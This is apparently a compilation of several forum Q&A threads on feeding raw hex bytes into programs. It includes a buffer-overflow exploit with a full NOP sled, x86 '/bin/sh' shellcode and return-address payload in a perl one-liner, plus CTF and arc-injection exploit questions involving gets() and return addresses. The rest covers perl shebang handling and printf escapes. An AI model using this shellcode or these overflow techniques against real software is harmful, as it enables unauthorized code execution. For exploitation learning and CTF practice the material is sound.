I am trying to spawn a shell on a commandline program without stack protection, this program takes in two inputs a number and a date.
./convert <number> <date>
and I want to overflow the buffer, now I am trying to do
[nop sled] ..... [shell code] ..... [return address]
my problem lies in the fact when I pass the nops through the command line (or more precisely in GDB). In GDB when I do a run with the arguments: 1 \x90\x90\x90\x90.... 700 bytes worth, what it takes in as input is the actual characters '\' 'x' '9' '0' as oppose to the hex value for nop. How can I enter this in properly? (I know this because the EIP gives me 39785c30 which translates into 9x\0). What can I do about this?
Okay, Got it! one can use the perl print function and use the escapes to have it print the nops (and other characters that you cant print with a keyboard). for example perl -e 'print "\x90"' and it will send 0x90 to memory (or whatever you need).
I did something like this:
egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')
Thanks all for the help!
Related
So I was attempting a CTF recently, and I needed to input some non-printing chars into stdin in order to overwrite a stack variable. I decided to pipe the output from a printf command into the program, and this worked to overwrite the variable, but had an unexpected side effect of killing the program whenever it hit a blocking call and was out of input.
The shortest C program I could write to demonstrate this issue is
#include <stdlib.h>
main()
{
system("/bin/sh");
}
running it normally produces the expected result
~$ ./a.out
> ls
. .. Documents etc etc
> _
but if I use a pipe on this program, I get
~$ echo "ls" | ./a.out
. .. Documents etc etc
~$
See the difference? If I use a pipe, system("/bin/sh") returns after it runs out of input and the program would normally block / wait for input. Maybe the pipe is sending an EOF causing system() to return? How can I make it not do this (act as though I typed it in normally) by changing the way I am using bash? (I cannot change the program in a CTF). Is there a better way to input non-printing chars?
I'm trying to understand how perl deals with the shebang line.
I used to think that any interpreter mentioned in the "command position" on the command line would take precedence over one mentioned in the shebang line. For example, if an executable script called demo looks like this
#!/usr/local/bin/perl-5.00503
printf "$]\n";
...then I would observe the following:
$ ./demo
5.00503
% /usr/local/bin/perl-5.22 ./demo
5.022003
IOW, in the first execution, the interpreter in the shebang is the one running, while in the second it is the one mentioned on the command line. So far so good.
But now, if I change the "interpreter" on the shebang to something like /usr/bin/wc, then it always beats any perl interpreter I mention on the command line:
% cat demo-wc
#!/usr/bin/wc
printf "$]\n";
% ./demo-wc # produces the expected behavior
4 3 31 ./demo-wc
% /usr/local/bin/perl-5.22 ./demo-wc
4 3 31 ./demo-wc
% /usr/local/bin/perl-5.14 ./demo-wc
4 3 31 ./demo-wc
AFAICT, this special behavior seems to be limited perl interpreters; non-perl interpreters, such as /bin/bash, do "overrule" the shebang:
% /bin/bash ./demo-wc
$]
The bottom line is that perl seems to have radically different policies for handling the shebang depending on the interpreter mentioned.
How does perl determine which policy to follow?
What exactly are the policies in either case?
There are a couple of different cases in your tests.
When you use ./demo... the kernel finds the #! in the magic number (first 16 bits) and runs that program, or passes the line to the shell if it fails, which starts what's on it.
But when you invoke a perl on the command line, that perl binary is started by the shell and then that perl interpreter itself processes the shebang. In this case it discards the perl part but takes account of the switches – if the line contains "perl".
If the shebang does not invoke perl, we have behavior special to Perl.
From perlrun
If the #! line does not contain the word "perl" nor the word "indir", the program named after the #! is executed instead of the Perl interpreter. This is slightly bizarre, but it helps people on machines that don't do #!, because they can tell a program that their SHELL is /usr/bin/perl, and Perl will then dispatch the program to the correct interpreter for them.
Unlike most other interpreters, perl does its own processing of the #! line. This enables it to take multiple option arguments, even though the kernel's #! handler will only pass a single string.
Details are in the perlrun man page. The relevant portion for you is this:
If the "#!" line does not contain the word "perl" nor the word "indir" the program named after the "#!" is executed instead of the Perl interpreter. This is slightly bizarre, but it helps people on machines that don't do "#!", because they can tell a program that their SHELL is /usr/bin/perl, and Perl will then dispatch the program to the correct interpreter for them.
I have a program that takes input from argv[1] so I run it like
./myProgram Hello
But I need to input hexadecimals instead of decimal/text so something like
./myProgram \x48\x65\x6c\x6c\x6f
but the program takes that in as text instead of hexadecimals that form the word Hello.
I can't
python -c "print '\x48\x65\x6c\x6c\x6f'" | ./myProgram
because the program takes the data in as argv[1]
How do I solve the problem? (I cannot modify the program)
Continuing from the comment, not knowing exactly what was in ./myProgram made it a bit difficult to guess, but there are several logical things to try given what you reported.
As you point out, you need to take the hex input as the first argument to ./myProgram rather than passing it to the program on stdin. You correctly note that python -c "print '\x48\x65\x6c\x6c\x6f'" | ./myProgram fails for that reason. As you know, piping to a program redirects stdout of the initial process to stdin of the subsequent process, rather than as an argument to it.
That is where process substitution can help. When placing a process within $(...) (or the older format within backticks '...'), the output of the program is returned. Therefore, you can provide the output of python -c "print '\x48\x65\x6c\x6c\x6f'" as an argument by:
./myProgram $(python -c "print '\x48\x65\x6c\x6c\x6f'")
Lastly, if myProgram is simply looking for hexadecimal input in string format, then there is no reason for multiple escapes. Simply providing a string representation of the hex number may be enough. Something like the following:
./myProgram 0x48656c6c6f
I'm glad one of the suggestions was the "silver-bullet" you needed. Good luck with your shell use. Let us know if you have any further questions.
Let's assume you're writting a program as the post is tagged c.
1) command line parameter format will be like following:
./myProgram 0x55 0xAA 0xBB ...
or even
./myProgram 55 66 AA BB ...
2) in your program all input parameters will be available via argv array as strings. You can use sscanf with format %X to read hex values out of them and store them into unsigned integer variables. Also, in the simplest case it will look similar to:
unsigned int var;
sscanf(argv[1], "%X", &var); // will read 0x55
sscanf(argv[2], "%X", &var); // will read 0x66 and so on
David Rankin's approach works well as long as the input string does not contain whitespace. A space will cause the input to be broken into two arguments. Normally, to avoid this, one would surround the string with double quotes, but that prevents the python execution. I solved this for my case by creating an intermediate variable that I could quote:
foo=$(echo -e "\001 Hi!")
myProgram "$foo"
I want to control the printf() functions output format with dynamic parameter, just as the code showed below:
#include<stdio.h>
int main(int argc,char ** argv)
{
printf(argv[1],"hello,world");
return 0;
}
Then I compile and run it:
$ gcc -o test test.c
$ ./test "\t%s\n"
The result is strange:
\thello,world\n$
Why "\n" and "\t" has no effect?
Because the escapes you use (\t and \n) are interpreted inside string literals by the C compiler, not by printf(). This:
const char *newline1 = "\n", newline2[] = { '\n', 0 };
would generate the exact same content in newline1 and newline2, regardless of whether or not these are ever passed to printf(); the strings are there anyway.
Your code behaves just like this would:
printf("\\t%s\\n", "hello,world");
Here, I've double-escaped the special characters to generate a string with the same actual content as your command-line argument, i.e. "\t%s\n" (six characters rather than four).
The proper way to dynamically control printf() is to build the format string in code. If you want C-like escapes at runtime, you need to interpret them yourself in some way.
The sequence \n in a string or character literal in C/C++ is a single byte with the numeric value 10 (on an ASCII system). When output on a terminal (try putchar(10)!) it just sets the output position for the next character on the terminal to the beginning of the next line (on *nix; on MacOS, I think, you need an additional \r, or 13 for carriage return to have the output position at the beginning of the line).
Similarily, a \t is the notation for a single byte with the value 9, which makes most terminals advance their cursor to the next tabulator position.
What you need is to insert a single byte of these values in the command line. How that can be done depends on your shell; in bash you can keep the shell from interpreting special characters by pressing Ctrl-V beforehand. That outputs e.g. a tab, displayed by showing some empty space (instead of making the shell show possible string continuations or whatever tab does in bash). bash strings in single or double quotes can include newlines without further efforts -- simply press enter.
Here is a sample run in a cygwin terminal with bash. I pressed the indicated keys at the indicated positions; I finished the command as usual with [return] after the closing single quote on the second line.
pressed Ctrl-v,[TAB] here | pressed [return] there
v v
$ ./printf-arg.exe ' %s
> '
hello,world
The > in the second line was output by the shell after I pressed enter within the string delimited by single quotes. (Which inserts a newline in the string). It is an indication that the string being edited is continued on that line.
As an aside, it is probably unsafe to use command line arguments this way in potentially hostile environments. Carefully crafted strings could access memory which is not meant to be accessed and e.g. redirect return addresses, thus corrupting the program.
It's because the compiler handles the escape sequences like "\n" etc., and it does it in string or character literals only.
if you pass interpreted "\t%s\n" to command it will work. However it is tricky to construct such string in shell. The easiest way I know is:
./test $'\t%s\n'
See ANSI quoting in man bash for the $'magick'
I'm working on a simple arc injection exploit, wherein this particular string gives me the desired address of the place where I'd like to jump: Á^F#^#. This is the address 0x004006c1 (I'm using a 64 bit Intel processor, so x86-64 with little endian arrangement).
When I provide this string Á^F#^# as input to a vulnerable gets() routine in my function and inspect the addresses using gdb, the address gets modified to 0x00400681 instead of 0x004006c1. I'm not quite sure as to why this is happening. Furthermore, is there any way to easily provide hexadecimal values to a gets routine at stdin? I've tried doing something like: 121351...12312\xc1\x06\x40\x00, but instead of picking up \xc1 as it is, it translates individual character to hex, so I get something like 5c78.. (hex for \ and x, followed by hex for c and 1).
Any help is appreciated, thanks!
You could just put the raw bytes into a file somewhere and pipe it directly into your application.
$ path/to/my_app <raw_binary_data
Alternatively, you could wrap the application in a shell script that converts escaped hex bytes into their corresponding byte values. The echo utility will do this when the -e switch is set on the command line, for example:
$ echo '\x48\x65\x6c\x6c\x6f'
\x48\x65\x6c\x6c\x6f
$ echo -e '\x48\x65\x6c\x6c\x6f'
Hello
You can use this feature to process your application's input as follows:
while read -r line; do echo -e $line; done | path/to/my_app
To terminate the input, try pressing ControlD or ControlC.